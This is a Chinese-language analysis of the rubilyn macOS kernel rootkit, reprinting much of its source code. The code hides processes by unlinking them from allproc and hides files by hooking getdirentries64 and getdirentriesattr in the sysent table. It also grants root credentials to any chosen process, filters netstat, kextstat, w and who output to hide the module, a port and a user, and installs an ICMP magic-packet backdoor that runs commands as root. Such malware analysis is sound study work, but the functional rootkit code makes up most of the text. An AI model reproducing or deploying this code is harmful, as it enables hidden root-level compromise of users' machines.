1、隐藏进程 在mac osx上,每个进程的上下文都保存在proc结构中,而在allproc链表中就保存着所有进程proc结构的指针,通过allproc链表移除相应进程的proc结构可隐藏正在进行的进程,下面是rubilyn中关于隐藏进程的代码,但目测通过ps -p pid 仍可列出进程,因为它并没有移除进程hash列表pidhashtbl中相关的进程信息,导致可通过pid查找到进程。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 static int hideproc (int pid) { struct proc * p ; if (pid!=0 ){ for (p = my_allproc->lh_first; p != 0 ; p = p->p_list.le_next) { if (pid == p->p_pid) { if (hidden_p_count < MAX_HIDDEN_PROCESS) { hidden_p[hidden_p_count]=p; hidden_p_count++; my_proc_list_lock(); LIST_REMOVE(p, p_list); my_proc_list_unlock(); } } } } return 0 ; }
2、隐藏文件 为了对列出文件的相应系统函数进行挂钩,我们需要先对finder和ls所使用的函数进行进程跟踪,在mac上已经用Dtrace代替ktrace,在finder上主要是使用getdirentriesattr函数,而ls主要是使用getdirentries64,下面是用Dtrace分别对finder和ls的进程跟踪情况, calltrace.d 脚本内容如下:
1 2 3 4 5 6 7 8 9 riusksk@macosx :/usr/include/sys$ cat ~/Reverse\ engineering/Dtrace/calltrace.d pid$target:::entry { ; } pid$target:::return { printf("=%d\n" , arg1); }
下面是查看finder进程2841的调用函数:
1 2 3 4 5 riusksk@macosx:/usr/include/sys$ sudo dtrace -s ~/Reverse\ engineering/Dtrace/calltrace.d -p 2841 | grep getdir dtrace: script '/Users/riusksk/Reverse engineering/Dtrace/calltrace.d' matched 573227 probes 2 1078881 getdirentriesattr:entry 2 1363229 getdirentriesattr:return =1
下面是ls命令(64位系统)调用的函数:
1 2 3 4 5 6 7 riusksk@macosx:~$ sudo dtrace -s ~/Reverse\ engineering/Dtrace/calltrace.d -c ls | grep getdir dtrace: script '/Users/riusksk/Reverse engineering/Dtrace/calltrace.d' matched 28745 probes dtrace: pid 3184 has exited 2 271609 __getdirentries64:entry 2 285894 __getdirentries64:return =1980 2 271609 __getdirentries64:entry 2 285894 __getdirentries64:return =0
因此,我们若想在finder和ls中隐藏文件,只要对这两个函数 getdirentriesattr 和 getdirentries64 (32位的为getdirentries)进行挂钩处理即可。在系统调用函数表中,主要是由sysent结构数组构成,每个sysent结构中都包括参数个数sy_narg,执行函数sy_call 这些重要数据。sysent结构如下:
1 2 3 4 5 6 7 8 9 10 struct sysent { int16_t sy_narg; int8_t sy_resv; int8_t sy_flags; sy_call_t *sy_call; sy_munge_t *sy_arg_munge32; sy_munge_t *sy_arg_munge64; int32_t sy_return_type; uint16_t sy_arg_bytes; };
为了实现对上述系统函数的挂钩,通过修改相应函数sysent结构的sy_call来进行偷梁换柱,关于各系统函数的调用号和宏名均可在 /usr/include/sys/syscall.h中找到:
1 2 3 4 5 riusksk@macosx:/usr/include/sys$ cat syscall.h | grep getdir #define SYS_getdirentries 196 #define SYS_getdirentriesattr 222 #define SYS_getdirentries64 344
下面是rubilyn中对系统调用函数getdirentries64 和 getdirentriesattr的挂钩代码,将这两个函数替换为自定义的 new_getdirentries64 和 new_getdirentriesattr ,同时保存原函数地址方便获取目录信息并进行篡改:
1 2 3 4 5 6 7 8 9 if (nsysent){ table = find_sysent(); if (table){ org_getdirentries64 = (void *) table[SYS_getdirentries64].sy_call; org_getdirentriesattr = (void *) table[SYS_getdirentriesattr].sy_call; table[SYS_getdirentries64].sy_call = (void *) new_getdirentries64; table[SYS_getdirentriesattr].sy_call = (void *) new_getdirentriesattr;
两个替换函数执行的操作有点类似,主要是移除指定文件的dirent结构,其中dirent结构原型如下:
1 2 3 4 5 6 7 8 9 10 11 12 struct dirent { __uint32_t d_fileno; __uint16_t d_reclen; __uint8_t d_type; __uint8_t d_namlen; #if __BSD_VISIBLE #define MAXNAMLEN 255 char d_name[MAXNAMLEN+1 ]; #else char d_name[255 +1 ]; #endif }
此处我们只看下 new_getdirentries64 函数,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 register_t new_getdirentries64(struct proc *p, struct getdirentries64_args *uap, user_ssize_t *retval){ int ret; u_int64_t bcount = 0 ; u_int64_t btot = 0 ; size_t buffersize = 0 ; struct direntry *dirp ; void *mem = NULL ; int updated = 0 ; ret = org_getdirentries64(p,uap,retval); btot = buffersize = bcount = *retval; if (bcount > 0 ) { MALLOC(mem,void *,bcount,M_TEMP,M_WAITOK); if (mem == NULL ) return (ret); copyin(uap->buf, mem, bcount); dirp = mem; while (bcount > 0 && dirp->d_reclen > 0 ) { if (dirp->d_reclen > 7 ) if (strncmp (dirp->d_name,(char *)&k_dir,strlen ((char *)&k_dir)) == 0 ) { char *next = (char *) dirp + dirp->d_reclen; u_int64_t offset = (char *) next - (char *) mem ; bcount -= dirp->d_reclen; btot -= dirp->d_reclen; bcopy(next,dirp,buffersize - offset); updated = 1 ; continue ; } bcount -= dirp->d_reclen; dirp = (struct direntry *) ((char *) dirp + dirp->d_reclen); } if (updated == 1 ) { copyout(mem,uap->buf,btot); *retval = btot; } FREE(mem,M_TEMP); } return ret; }
3、设置Root进程 先通过pid获取进程proc结构,然后更改其中进程属主字段p_ucred为0,即root属主。源代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 static int getroot (int pid) { struct proc *rootpid ; kauth_cred_t creds; rootpid = proc_find(pid); if (!rootpid) return 0 ; lck_mtx_lock((lck_mtx_t *)&rootpid->p_mlock); creds = rootpid->p_ucred; creds = my_kauth_cred_setuidgid(rootpid->p_ucred,0 ,0 ); rootpid->p_ucred = creds; lck_mtx_unlock((lck_mtx_t *)&rootpid->p_mlock); return 0 ; }
4、隐藏网络端口、用户名和内核模块 通过对write_nocancel函数挂钩,然后对 grep、sysctl、netstat、kextstat、w和who等命令的输出结果进行过滤,当命令输出结果中包含rubilyn模块名以及特写端口和用户名时就直接返回,否则就调用原始的write_nocanel函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 int new_write_nocancel (struct proc* p, struct write_nocancel_args *uap, user_ssize_t * retval) { char buffer[MAXBUFFER]; if (strncmp (p->p_comm, grep, strlen (p->p_comm))==0 ||strncmp (p->p_comm, sysctl,strlen (p->p_comm))==0 || strncmp (p->p_comm, kextstat,strlen (p->p_comm))==0 ){ bzero(buffer, sizeof (buffer)); copyin(uap->cbuf, buffer, sizeof (buffer)-1 ); if (my_strstr(buffer, rubilyn)) return (uap->nbyte); } if (strncmp (p->p_comm, netstat,strlen (p->p_comm))==0 ){ bzero(buffer, sizeof (buffer)); copyin(uap->cbuf, buffer, sizeof (buffer)-1 ); if (my_strstr(buffer, (char *)&k_port)) return (uap->nbyte); } if ((strncmp (p->p_comm,w,strlen (p->p_comm))==0 ||strncmp (p->p_comm,who,strlen (p->p_comm))==0 )) { bzero(buffer, sizeof (buffer)); copyin(uap->cbuf, buffer, sizeof (buffer)-1 ); if (my_strstr(buffer, (char *)&k_user)) return (uap->nbyte); } return org_write_nocancel(p,uap,retval); }
5、设置ICMP 后门
首先添加IPv4过滤器ip_filter_ipv4:
1 2 3 4 5 6 7 8 9 10 11 ipf_addv4(&ip_filter_ipv4, &ip_filter_ipv4_ref); ip_filter_ipv4结构如下: static struct ipf_filter ip_filter_ipv4 = { .name = "rubilyn" , .ipf_input = ipf_input, .ipf_output = ipf_output, .ipf_detach = ipf_detach, };
当传给用户的ICMP数据包中包含有以下特定数据时就以root权限执行命令:
1 2 3 4 5 #define MAGIC_ICMP_TYPE 0 #define MAGIC_ICMP_CODE 255 #define MAGIC_ICMP_STR "\x27\x10\x3\xb\x46\x8\x1c\x10\x1e" #define MAGIC_ICMP_STR_LEN 9
ipf_input主要处理传给用户的数据:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 static errno_t ipf_input (void * cookie, mbuf_t *data, int offset, u_int8_t protocol) { char buf[IP_BUF_SIZE]; struct icmp *icmp ; if (!(data && *data)) return 0 ; if (protocol != IPPROTO_ICMP) return 0 ; mbuf_copydata(*data, offset, IP_BUF_SIZE, buf); icmp = (struct icmp *)&buf; if (icmp->icmp_type==MAGIC_ICMP_TYPE&&icmp->icmp_code== MAGIC_ICMP_CODE && strncmp (icmp->icmp_data, icmpstr, MAGIC_ICMP_STR_LEN)==0 ) { my_KUNCExecute((char *)&k_cmd, kOpenAppAsRoot, kOpenApplicationPath); } return 0 ; }
rubilyn还有个命令行控制台rubilyncon,通过输入参数选项来执行上面某项功能,主要都是通过sysctl控制内核变量来招待相应函数,这些内核变量都是在rubilyn中用sysctl注册的,通过这些内核变量可从用户层直接与rubilyn内核扩展进行交互来执行恶意操作。